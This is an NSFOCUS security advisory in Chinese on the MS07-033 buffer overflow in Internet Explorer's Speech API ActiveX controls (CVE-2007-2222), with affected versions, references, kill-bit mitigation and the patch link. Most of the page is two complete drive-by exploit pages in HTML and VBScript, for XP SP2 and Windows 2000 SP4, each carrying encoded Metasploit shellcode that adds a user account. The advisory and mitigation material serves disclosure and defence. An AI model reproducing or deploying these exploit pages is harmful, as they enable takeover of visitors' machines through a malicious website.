绿盟科技NSFOCUS安全漏洞系统

安全研究

安全漏洞

Microsoft IE Speech API 4 COM对象实例化缓冲区溢出漏洞（MS07-033）

发布日期：2007-06-12
更新日期：2007-06-14

受影响系统：

Microsoft Internet Explorer 7.0
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 5.0.1 SP4

描述：

BUGTRAQ  ID: 24426
CVE(CAN) ID: CVE-2007-2222

Internet Explorer是一款非常流行的WEB浏览器。

IE中使用的Speech API的ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户机器。

IE中使用了Microsoft Speech API软件包提供文本-语音和语音识别功能。Microsoft Speech API中的一些ActiveX控件调用了ActiveListen和ActiveVoice（分别由Xlisten.dll和XVoice.dll库提供），而这些控件中存在多个缓冲区溢出漏洞。如果用户受骗访问了恶意站点的话，则在处理有漏洞的ActiveX控件的某些方式或属性（如FindEngine()）时可能会触发堆溢出或栈溢出，导致在用户机器上执行任意指令。

<*来源：Will Dorman
        cocoruder （frankruder@hotmail.com）

  链接：http://secunia.com/advisories/25627/
        http://www.kb.cert.org/vuls/id/507433
        http://www.microsoft.com/technet/security/Bulletin/ms07-033.mspx?pf=true
        http://www.us-cert.gov/cas/techalerts/TA07-163A.html
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

XP SP2上的攻击代码：

<html>
<object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'></OBJECT>
<script language='vbscript'>

REM metasploit, add a user 'su' with pass 'tzu'
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44") + NOP

eax= unescape("%ff%13")
ebp= unescape("%ff%13")
eip= unescape("%01%0a") : REM jmp to scode, UNICODE expanded
jnk= string(50,unescape("%13"))

suntzu = string(888,"A") + ebp + eip + eax + jnk

bufferI   = string(9999999,"X")
bufferII  = string(9999999,"Y")
bufferIII = string(9999999,"Z")
bufferIV  = string(9999999,"O")

EngineID= string(200000,"b")
MfgName="default"
ProductName="default"
ModeID= string(199544,unescape("%90")) + scode
ModeName= suntzu
LanguageID=1
Dialect="default"
Speaker="default"
Style=1
Gender=1
Age=1
Features=1
Interfaces=1
EngineFeatures=1
RankEngineID=1
RankMfgName=1
RankProductName=1
RankModeID=1
RankModeName=1
RankLanguage=1
RankDialect=1
RankSpeaker=1
RankStyle=1
RankGender=1
RankAge=1
RankFeatures=1
RankInterfaces=1
RankEngineFeatures=1

DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures

</script>
</html>

2000 SP4上的攻击代码：

<html>
<object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'></OBJECT>
<script language='vbscript'>

targetFile = "C:\WINNT\speech\XVoice.dll"
memberName = "FindEngine"
progid     = "ACTIVEVOICEPROJECTLib.DirectSS"
argCount   = 28

REM metasploit one, JmpCallAddtive, add a user 'su' with pass 'p'
scode_fragment = unescape("%6E%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%6e%40%06%90%90%90%90%90%90%90%fc%e4%22%eb%5e%31%ad%c3%c0%f7%e8%ff%ff%af%1a%30%5f%bb%5a%bd%ee%a5%ae%d4%19%e3%9b%3a%05%b9%42%03%a7%41%4c%11%a9%7c%ee%7f%77%8c%f3%90%e8%b4%ef%4c%d4%8c%d4%99%e4%5d%08%1e%9a%82%17%b3%21%43%31%44%5a%1b%6d%f5%69%39%d9%c4%38%50%43%af%44%cc%df%76%7a%57%a5%c2%85%7e%b7%f3%18%d3%39%70%9f%16%94%aa%37%5f%c5%ea%0a%70%23%10%c0%83%47%37%eb%97%6a%b3%6c%3c%6c")

nop1  = unescape("%01%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40")
c1    = unescape("%6E") : REM add byte ptr esi, ch (as nop)
c2    = unescape("%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%40%6E%97%6E%40") : REM xchg eax, edi
c3    = unescape("%6E%40%6E%05%18%09") : REM add eax
c4    = unescape("%6E%40%6E%2d%11%09") : REM sub eax
c5    = unescape("%6E%80%90%6E%40%6E%40") : REM add byte ptr eax 90, inc eax twice

code  = nop1 & c1 & c2 & c3 & c4 & c5 & _
unescape("%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6E%80%90%6E%40%6E%40%6e%80%bb%6e%40%6e%40%6e%80%47%6e%40%6e%40%6e%80%1a%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e%80%56%6e%40%6e%40%6e%80%1e%6e%40%6e%40%6e%80%01%6e%40%6e%40%6e%80%85%6e%40%6e%40%6e%80%75%6e%40%6e%40%6e%80%c3%6e%40%6e%40%6e%80%ef%6e%40%6e%40%6e%80%ff%6e%40%6e%40%6e%80%18%6e%40%6e%40%6e%80%66%6e%40%6e%40%6e%80%e0%6e%40%6e%40%6e%80%ec%6e%40%6e%40%6e%80%dc%6e%40%6e%40%6e%80%8e%6e%40%6e%40%6e%80%64%6e%40%6e%40%6e%80%81%6e%40%6e%40%6e%80%db%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%c3%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%88%6e%40%6e%40%6e%80%58%6e%40%6e%40%6e%80%60%6e%40%6e%40%6e%80%9f%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80%df%6e%40%6e%40%6e%80%2f%6e%40%6e%40%6e%80%15%6e%40%6e%40%6e%80%2e%6e%40%6e%40%6e%80%41%6e%40%6e%40%6e%80%0b%6e%40%6e%40%6e%80%b2%6e%40%6e%40%6e%80%1e%6e%40%6e%40%6e%80%31%6e%40%6e%40%6e%80%c4%6e%40%6e%40%6e%80%ad%6e%40%6e%40%6e%80%8f%6e%40%6e%40%6e%80%7a%6e%40%6e%40%6e%80%d0%6e%40%6e%40%6e%80%7d%6e%40%6e%40%6e%80%65%6e%40%6e%40%6e%80%f6%6e%40%6e%40%6e%80%92%6e%40%6e%40%6e%80%54%6e%40%6e%40%6e%80%60%6e%40%6e%40%6e%80%54%6e%40%6e%40%6e%80%0c%6e%40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%49%6e%40%6e%40%6e%80%af%6e%40%6e%40%6e%80%da%6e%40%6e%40%6e%80%5c%6e%40%6e%40%6e%80%ac%6e%40%6e%40%6e%80%f1%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%e2%6e%40%6e%40%6e%80%3f%6e%40%6e%40%6e%80%44%6e%40%6e%40%6e%80%3f%6e%40%6e%40%6e%80%2e%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%01%6e%40%6e%40%6e%80%1b%6e%40%6e%40%6e%80%e8%6e%40%6e%40%6e%80%58%6e%40%6e%40%6e%80%91%6e%40%6e%40%6e%80%36%6e%40%6e%40%6e%80%be%6e%40%6e%40%6e%80%b5%6e%40%6e%40%6e%80%a7%6e%40%6e%40%6e%80%b3%6e%40%6e%40%6e%80%80%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%84%6e%40%6e%40%6e%80%e4%6e%40%6e%40%6e%80%f8%6e%40%6e%40%6e%80%77%6e%40%6e%40%6e%80%96%6e%40%6e%40%6e%80%03%6e%40%6e%40%6e%80%13%6e%40%6e%40%6e%80%89%6e%40%6e%40%6e%80%fb%6e%40%6e%40%6e%80%24%6e%40%6e%40%6e%80%8b%6e%40%6e%40%6e%80%e9%6e%40%6e%40%6e%80%0f%6e%40%6e%40%6e%80%d6%6e%40%6e%40%6e%80%ef%6e%40%6e%40%6e%80%73%6e%40%6e%40%6e%80%cf%6e%40%6e%40%6e%80%14%6e%40%6e%40%6e%80%6e%6e%40%6e%40%6e%80%8c%6e%40%6e%40%6e%80%1f%6e%40%6e%40%6e%80%22%6e%40%6e%40%6e%80%9e%6e%40%6e%40%6e%80%ae%6e%40%6e%40%6e%80%4e%6e%40%6e%40%6e%80%43%6e%40%6e%40%6e%80%fc%6e%40%6e%40%6e%80%d7%6e%40%6e%40%6e%80%72%6e%40%6e%40%6e%80%38%6e%40%6e%40%6e%80%07%6e%40%6e%40%6e%80%17%6e%40%6e%40%6e%80%83%6e%40%6e%40%6e%80%67%6e%40%6e%40%6e%80%4b%6e%40%6e%40%6e%80%68%6e%40%6e%40")

seh_handler=unescape("%23%7d") : REM 0x007d0023 call edi, found with msfpescan
eax = unescape("%01%12") : REM fix eax register, we fall in a more convenient condition

suntzu = String(950, "A") + eax + seh_handler + code + scode_fragment

EngineID="default"
MfgName="default"
ProductName="default"
ModeID="default"
ModeName= suntzu
LanguageID=1
Dialect="default"
Speaker="default"
Style="default"
Gender=1
Age=1
Features=1
Interfaces=1
EngineFeatures=1
RankEngineID=1
RankMfgName=1
RankProductName=1
RankModeID=1
RankModeName=1
RankLanguage=1
RankDialect=1
RankSpeaker=1
RankStyle=1
RankGender=1
RankAge=1
RankFeatures=1
RankInterfaces=1
RankEngineFeatures=1

DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures

</script>
</html>

建议：

临时解决方法：

* 在IE中禁用Speech API ActiveX控件，为以下CLSID设置kill bit：

      {4E3D9D1F-0C63-11D1-8BFB-0060081841DE}
      {EEE78591-FE22-11D0-8BEF-0060081841DE}

或将以下文本保存为.REG文件并导入：

      Windows Registry Editor Version 5.00

      [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{4E3D9D1F-0C63-11D1-8BFB-0060081841DE}]
      "Compatibility Flags"=dword:00000400

      [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{EEE78591-FE22-11D0-8BEF-0060081841DE}]
      "Compatibility Flags"=dword:00000400

厂商补丁：

Microsoft
---------
Microsoft已经为此发布了一个安全公告（MS07-033）以及相应补丁:
MS07-033：Cumulative Security Update for Internet Explorer (933566)
链接：http://www.microsoft.com/technet/security/Bulletin/ms07-033.mspx?pf=true

浏览次数：4642
严重程度：0（网友投票）

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